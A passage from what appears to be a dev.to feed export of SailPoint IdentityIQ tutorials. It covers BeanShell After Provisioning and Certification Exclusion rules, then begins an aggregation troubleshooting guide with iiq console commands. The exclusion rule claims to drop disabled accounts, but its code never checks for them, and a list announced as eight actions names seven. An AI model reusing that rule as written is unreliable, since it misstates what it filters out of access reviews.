&lt;li&gt;
&lt;strong&gt;This rule mutates in place.&lt;/strong&gt; There is no return value to wire up — &lt;code&gt;&amp;lt;Signature returnType="void"&amp;gt;&lt;/code&gt; is correct, and IdentityIQ uses whatever state &lt;code&gt;plan&lt;/code&gt; is in when the rule finishes, not anything you &lt;code&gt;return&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attach it per application.&lt;/strong&gt; Before/After Provisioning rules are set on the Edit Application page's Rules tab, one application at a time. If several applications need the same conversion logic, either attach the rule to each one or branch inside the rule on &lt;code&gt;application.getName()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  After Provisioning: Reacting to the Result
&lt;/h3&gt;

&lt;p&gt;An After Provisioning rule runs once &lt;code&gt;provision()&lt;/code&gt; returns — but only when the &lt;code&gt;ProvisioningResult&lt;/code&gt; status is &lt;code&gt;Committed&lt;/code&gt; or &lt;code&gt;Queued&lt;/code&gt;, so a rejected or failed request does not trigger it. It receives everything the Before rule does, plus &lt;code&gt;result&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Argument&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"result"&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningResult"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most common use is notification: telling a user their account was created, or alerting an owner when a privileged entitlement is granted. Because failures never reach an After Provisioning rule, error notifications need a separate mechanism — typically a workflow-level failure handler, not this rule type.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Notify Manager on Privileged Grant"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"AfterProvisioning"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"void"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"log"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"org.apache.log4j.Logger"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"plan"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningPlan"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"application"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Application"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"result"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningResult"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.Identity;
    import sailpoint.object.EmailTemplate;
    import sailpoint.object.EmailOptions;
    import java.util.HashMap;

    if (result == null || !result.isCommitted()) {
        return;
    }

    String identityName = plan.getIdentity();
    if (identityName == null) {
        return;
    }

    Identity identity = context.getObjectByName(Identity.class, identityName);
    if (identity == null) {
        return;
    }

    Identity manager = identity.getManager();
    if (manager == null || manager.getEmail() == null) {
        return;
    }

    EmailTemplate template = context.getObjectByName(EmailTemplate.class, "Privileged Grant Notification");
    if (template == null) {
        log.warn("Privileged Grant Notification email template not found");
        return;
    }

    HashMap vars = new HashMap();
    vars.put("identityName", identity.getDisplayableName());
    vars.put("applicationName", application.getName());

    EmailOptions options = new EmailOptions(manager.getEmail(), vars);
    context.sendEmailNotification(template, options);
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;result.isCommitted()&lt;/code&gt; is the guard that matters most here — skipping it means the rule fires on partial or queued results where the target system has not actually confirmed the change yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Certification Exclusion Rules
&lt;/h2&gt;

&lt;p&gt;Certification campaigns get noisy fast: a manager reviewing forty direct reports does not need to re-approve entitlements a role already justifies, or accounts that were disabled the day the campaign launched. An &lt;strong&gt;Exclusion Rule&lt;/strong&gt;, configured under &lt;strong&gt;Certifications → Certification Schedule → Advanced Settings&lt;/strong&gt;, filters those items out before the reviewer ever sees them.&lt;/p&gt;

&lt;p&gt;An exclusion rule receives the identity under review and the list of certifiable items being considered for that identity, and returns the subset that should be &lt;strong&gt;removed&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Exclude Disabled Accounts and Role-Justified Entitlements"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"CertificationExclusion"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Removes certifiable items for accounts that are currently disabled, and
    entitlements that are already granted indirectly through an assigned role
    (they get reviewed as part of the role certification instead).
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"java.util.List"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identity"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Identity"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"certifiableEntities"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"java.util.List"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.AbstractCertifiableEntity;
    import sailpoint.object.Certifiable;
    import sailpoint.object.EntitlementCertifiable;
    import sailpoint.object.EntitlementSnapshot;
    import java.util.ArrayList;
    import java.util.List;

    List excluded = new ArrayList();

    if (certifiableEntities == null) {
        return excluded;
    }

    for (int i = 0; i &amp;lt; certifiableEntities.size(); i++) {
        Object entry = certifiableEntities.get(i);

        // Only EntitlementCertifiable items carry role/link detail we can inspect;
        // other Certifiable subtypes (e.g. BundleCertifiable) pass through untouched.
        if (!(entry instanceof EntitlementCertifiable)) {
            continue;
        }

        EntitlementCertifiable ec = (EntitlementCertifiable) entry;
        EntitlementSnapshot snap = ec.getEntitlements();

        if (snap == null) {
            continue;
        }

        // Skip entitlements already covered by an assigned business role —
        // they get reviewed once, at the role level, not once per entitlement.
        if (snap.getApplication() != null &amp;amp;&amp;amp; identity.getAssignedRoles() != null) {
            boolean coveredByRole = false;
            for (int r = 0; r &amp;lt; identity.getAssignedRoles().size(); r++) {
                if (identity.getAssignedRoles().get(r).getName().equals(snap.getSourceRole())) {
                    coveredByRole = true;
                    break;
                }
            }
            if (coveredByRole) {
                excluded.add(entry);
            }
        }
    }

    return excluded;
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things worth knowing before writing your own:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Return only what to remove, never rebuild the full list.&lt;/strong&gt; The rule contract is subtractive — it returns items to drop, not the surviving set. Returning &lt;code&gt;null&lt;/code&gt; or an empty list means nothing gets excluded.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;certifiableEntities&lt;/code&gt; mixes types.&lt;/strong&gt; Depending on the certification type (manager, application-owner, role, entitlement-owner), the list can contain &lt;code&gt;EntitlementCertifiable&lt;/code&gt;, &lt;code&gt;BundleCertifiable&lt;/code&gt;, or &lt;code&gt;PolicyViolationCertifiable&lt;/code&gt; objects. Guard with &lt;code&gt;instanceof&lt;/code&gt; before casting, exactly as the example does — a blind cast on the wrong subtype throws a &lt;code&gt;ClassCastException&lt;/code&gt; that aborts certification generation for the entire campaign, not just one identity.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Staging an Exclusion Rule Before It Runs Against a Live Campaign
&lt;/h3&gt;

&lt;p&gt;An exclusion rule fails quietly in the worst way: if it over-excludes, reviewers simply never see the missing items, and nothing in the UI tells them something was filtered. There is no error, no warning banner — just an access review that looks complete but was not. Two habits keep this from reaching production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Run the campaign as a "Staged" certification first.&lt;/strong&gt; Staged certifications generate the certification objects without activating them or notifying reviewers, so you can inspect &lt;code&gt;CertificationEntity&lt;/code&gt; and &lt;code&gt;CertificationItem&lt;/code&gt; counts against a version of the same campaign generated without the exclusion rule attached, and diff the two.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log every exclusion, not just the final count.&lt;/strong&gt; Add a &lt;code&gt;log.info&lt;/code&gt; line inside the loop before adding to &lt;code&gt;excluded&lt;/code&gt;, including the entitlement or account identifier. A campaign that unexpectedly excludes zero items is often the same bug as one that excludes everything — usually a null check that always short-circuits — and the log is the only way to tell which failure mode you are looking at without re-running the whole campaign generation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Finding the Argument List for Any Other Rule Type
&lt;/h2&gt;

&lt;p&gt;IdentityIQ ships more than 70 rule types, and this cookbook plus the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; only cover the ones developers hit most often. For anything else — Refresh rules, Populate rules on forms, Managed Attribute customization — the fastest path is still &lt;code&gt;IdentityIQ_HOME/WEB-INF/config/examplerules.xml&lt;/code&gt; on your own instance. It contains a working example of every type with the real, current argument list for your installed version, which matters because argument sets do change between major releases. Cross-check anything you find against the &lt;code&gt;&amp;lt;Signature&amp;gt;&lt;/code&gt; block, not just the &lt;code&gt;&amp;lt;Source&amp;gt;&lt;/code&gt; body — the signature is what tells you which arguments are guaranteed non-null.&lt;/p&gt;

&lt;p&gt;Once you have a rule drafted, the &lt;code&gt;iiq console&lt;/code&gt; lets you import and test it without a UI round-trip:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; import /path/to/my-rule.xml
&amp;gt; rule "Convert Disable to Status Flag" {plan=..., application=...}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Building the test arguments interactively is easier from the BeanShell console than the &lt;code&gt;iiq console&lt;/code&gt; rule command for anything beyond a trivial signature — see the &lt;strong&gt;Debugging Rules&lt;/strong&gt; section of the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/#the-iiq-console"&gt;BeanShell guide&lt;/a&gt; for the full workflow, including log4j2 debug logging that does not require an application server restart.&lt;/p&gt;

&lt;p&gt;For the operational side of running these rules in production — diagnosing why an aggregation using a BuildMap or Correlation rule stalled — see &lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;SailPoint IdentityIQ Aggregation Troubleshooting&lt;/a&gt;, and for the underlying Java/MySQL/shell tooling this whole series builds on, &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and Shell Scripting for SailPoint IdentityIQ&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>beanshell</category>
      <category>iam</category>
    </item>
    <item>
      <title>SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Thu, 03 Sep 2026 23:47:59 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide-183e</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide-183e</guid>
      <description>&lt;p&gt;da0105f6.webp&lt;br&gt;
  alt: "SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide"&lt;/p&gt;
&lt;h2&gt;
  
  
    relative: false
&lt;/h2&gt;

&lt;p&gt;Account Aggregation is the task type every SailPoint IdentityIQ deployment runs the most and debugs the least confidently, because a failure can originate in three different layers — the source system, the connector, or IdentityIQ's own correlation logic — and the TaskResult error message rarely tells you which one. This guide walks through the failure modes in the order you should actually check them, with the exact &lt;code&gt;iiq console&lt;/code&gt; commands to isolate the cause.&lt;/p&gt;

&lt;p&gt;If you're new to IdentityIQ's rule and workflow model, start with our &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; — Correlation Rules and provisioning rules both come up repeatedly below. For the database and scripting side of diagnosing a stuck task from outside the UI, see &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and Shell Scripting for IdentityIQ&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Clone the companion repo&lt;/strong&gt;: The diagnostic &lt;code&gt;iiq console&lt;/code&gt; command sequences, the read-only &lt;code&gt;spt_&lt;/code&gt; health-check queries, and the correlation-rule debug template covered below are all in &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-devtools" rel="noopener noreferrer"&gt;IAMDevBox/sailpoint-iiq-devtools&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  How Account Aggregation Actually Works
&lt;/h2&gt;

&lt;p&gt;Before debugging a failure, it helps to know what the task is doing under the hood. Account Aggregation scans a configured Application, calls the connector to iterate every account (and optionally every group) on that source, and for each account either:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Matches it to an existing &lt;code&gt;Link&lt;/code&gt; and updates that Link's attributes if anything changed&lt;/li&gt;
&lt;li&gt;Runs the Correlation Rule to try to match the account to an existing &lt;code&gt;Identity&lt;/code&gt; and creates a new &lt;code&gt;Link&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Creates a brand-new &lt;code&gt;Identity&lt;/code&gt; cube, if "Create new identity" processing is enabled&lt;/li&gt;
&lt;li&gt;Marks the account for one of eight TaskResult actions: Correlate Manual, Maintain, New Account, Reassign, Create New Identity, Ignore, or Remove Account&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each of those actions gets logged per-account in the TaskResult, which is why the first place to look after any aggregation failure is the TaskResult detail screen, not the application server log. The task-level error ("Aggregation failed") is a summary; the per-account errors underneath it are the actual diagnosis.&lt;/p&gt;
&lt;h2&gt;
  
  
  Failure Mode 1: Connector Exceptions
&lt;/h2&gt;

&lt;p&gt;The most common failure is a &lt;code&gt;ConnectorException&lt;/code&gt; thrown while IdentityIQ is trying to iterate accounts or groups from the source. This is a source-system problem, not an IdentityIQ problem, and the fix lives outside IdentityIQ almost every time:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Connector Type&lt;/th&gt;
&lt;th&gt;Common Root Cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LDAP / Active Directory&lt;/td&gt;
&lt;td&gt;Bind DN credentials expired or account locked out; search base DN typo; paging cookie exhausted on very large OUs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JDBC / Database&lt;/td&gt;
&lt;td&gt;Connection pool exhausted (too many concurrent aggregations against the same source); driver JAR missing after an IdentityIQ upgrade; SQL query in the schema map referencing a column that was renamed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delimited File&lt;/td&gt;
&lt;td&gt;File not present at the configured path at scheduled run time (a nightly export job that hasn't finished yet); encoding mismatch producing malformed rows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web Services / REST&lt;/td&gt;
&lt;td&gt;API rate limiting mid-aggregation on large account populations; OAuth token expired mid-run on a long aggregation with no refresh logic in the connector config&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Isolate the connector as the cause before touching anything inside IdentityIQ. From the &lt;code&gt;iiq console&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;connectorDebug "Corporate Active Directory" test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This runs the connector's own connection-test method — the same one the "Test Connection" button in the Application configuration UI calls — without running a full aggregation. If &lt;code&gt;test&lt;/code&gt; fails, you have your answer immediately and can stop looking at IdentityIQ configuration entirely. If &lt;code&gt;test&lt;/code&gt; passes but the full aggregation still fails, move to &lt;code&gt;iterate&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;connectorDebug "Corporate Active Directory" iterate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;iterate&lt;/code&gt; walks the account list the same way aggregation does, which will surface a failure on a specific malformed record (a group membership DN that no longer resolves, an account with a null value in a required schema attribute) that a simple connection test won't catch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure Mode 2: Correlation Failures
&lt;/h2&gt;

&lt;p&gt;If the connector is healthy and accounts are coming through, the next most common failure is correlation: the account exists, IdentityIQ read it successfully, but it can't be attached to an Identity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Unable to correlate account to identity"&lt;/strong&gt; happens when the Correlation Rule for the Application evaluates to no match. Two root causes account for nearly all of these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Attribute format mismatch.&lt;/strong&gt; The most frequent case is an &lt;code&gt;employeeId&lt;/code&gt; or similar join key that's formatted differently between the authoritative HR source and the target application — leading zeros stripped, a prefix added, case sensitivity in a string comparison. Check the actual attribute values on both sides, not just the rule logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aggregation ordering.&lt;/strong&gt; If this is a new application and the accounts belong to people who don't have Identity cubes yet, correlation will fail on every account because there's nothing to correlate against. Authoritative sources (typically HR/HRIS) must aggregate first to create the Identity cubes; downstream application aggregations correlate against those cubes afterward.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If accounts are correlating to the &lt;em&gt;wrong&lt;/em&gt; identity rather than failing outright, that's a Correlation Rule precision problem, not a failure — but it's worth checking the rule's match logic for anything doing a broad &lt;code&gt;LIKE&lt;/code&gt; or a first-name/last-name match without a unique secondary key, since those produce false-positive correlations that are far more damaging than an aggregation that simply stops.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure Mode 3: Terminated and Orphaned Tasks
&lt;/h2&gt;

&lt;p&gt;A task that shows &lt;strong&gt;Terminated&lt;/strong&gt; rather than an error usually means one of two things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Someone (or a scheduled job overlap) explicitly stopped it — check for a &lt;code&gt;terminate &amp;lt;TaskResultName&amp;gt;&lt;/code&gt; call in the audit log or scheduler history.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;"Terminate when maximum number of errors is exceeded"&lt;/strong&gt; threshold was hit. This is a deliberate circuit breaker: rather than aggregating 50,000 accounts and burying one root cause under 4,000 nearly-identical connector errors, IdentityIQ stops after the configured "Maximum errors before termination" count. Read the accumulated errors in the TaskResult before raising the threshold — in the overwhelming majority of cases, all of them trace back to the same upstream problem from Failure Mode 1.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Orphaned task results&lt;/strong&gt; are a different, purely operational problem: an application server restart, forced shutdown, or crash during a running aggregation leaves the TaskResult stuck in a non-terminal state, even though nothing is actually still running. IdentityIQ won't let you cleanly restart a task while its previous TaskResult still looks "in progress." Clear it from the &lt;code&gt;iiq console&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terminateOrphans please
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;please&lt;/code&gt; argument isn't decorative — this command force-completes every pending TaskResult it finds as Terminated, so it's built to resist being run accidentally. Only run it when you've confirmed (via the app server process list, not just the UI) that nothing is actually executing.&lt;/p&gt;

&lt;p&gt;Once the orphaned result is cleared, restart the task itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;restart &amp;lt;TaskResultName&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Failure Mode 4: Hung Tasks
&lt;/h2&gt;

&lt;p&gt;A task that neither completes nor errors — it just sits at "running" indefinitely — is the hardest of the four to diagnose because there's no error message to read. Work through it in this order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Confirm it's actually hung, not just slow.&lt;/strong&gt; Large LDAP OUs and JDBC sources with millions of rows can legitimately take hours. Check the account-processed counter in the TaskResult; if it's climbing, even slowly, it isn't hung.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rule out a connector-level block.&lt;/strong&gt; Run &lt;code&gt;connectorDebug &amp;lt;applicationName&amp;gt; test&lt;/code&gt; in a separate console session while the task is still running. If the test hangs too, the source system itself is unresponsive — a TCP-level connection that was accepted but is never answering (common with an LDAP server behind a load balancer with a stale health check), not an IdentityIQ problem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For partitioned aggregations&lt;/strong&gt;, one partition thread can silently die while others continue, making the overall task look alive but permanently incomplete. Use:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sendCommand &amp;lt;TaskResultName&amp;gt; stack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This dumps a thread stack trace for the running task into the server log, letting you see exactly which method each partition thread is blocked in — a JDBC &lt;code&gt;Statement.executeQuery&lt;/code&gt; call with no timeout is the single most common culprit here.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;If a partition or the whole task is confirmed dead with no way to recover it cleanly, &lt;code&gt;terminate &amp;lt;TaskResultName&amp;gt;&lt;/code&gt; stops it, then follow the orphaned-task cleanup above before rerunning.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Reading the TaskResult Systematically
&lt;/h2&gt;

&lt;p&gt;When triaging an aggregation failure, pull the TaskResult in this order rather than scrolling the raw log top to bottom:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Summary counts&lt;/strong&gt; — accounts scanned vs. accounts with errors vs. accounts correlated. A 2% error rate against one connector points to bad data on specific records; a 100% error rate from the first account onward points to a connection or credential problem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The first error, not the last.&lt;/strong&gt; Cascading failures (a connection pool exhausted by account 40 will throw the same exception for every subsequent account) mean the last error in a long list is rarely the root cause — it's a symptom of the first one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-account action distribution&lt;/strong&gt; — a spike in "Create New Identity" when you expected "Maintain" usually means a Correlation Rule regression, not an aggregation bug.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Verified Console Commands Reference
&lt;/h2&gt;

&lt;p&gt;Every command below is confirmed against the official IdentityIQ Console documentation, not inferred from behavior:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;run &amp;lt;taskName&amp;gt; [trace] [profile] [sync]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs a task with no arguments; &lt;code&gt;trace&lt;/code&gt; prints console output, &lt;code&gt;profile&lt;/code&gt; adds timing stats, &lt;code&gt;sync&lt;/code&gt; runs in the foreground&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;runTaskWithArguments &amp;lt;taskName&amp;gt; [arg1=val1,arg2=val2,...]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs a task that requires arguments; always executes synchronously&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;restart &amp;lt;TaskResultName&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Relaunches a previously failed task, in background mode where possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;terminate &amp;lt;TaskResultName&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stops a running background task; the result shows Cancelled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;terminateOrphans please&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Force-completes all pending/stuck TaskResults as Terminated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sendCommand &amp;lt;TaskResultName&amp;gt; &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/td&gt;
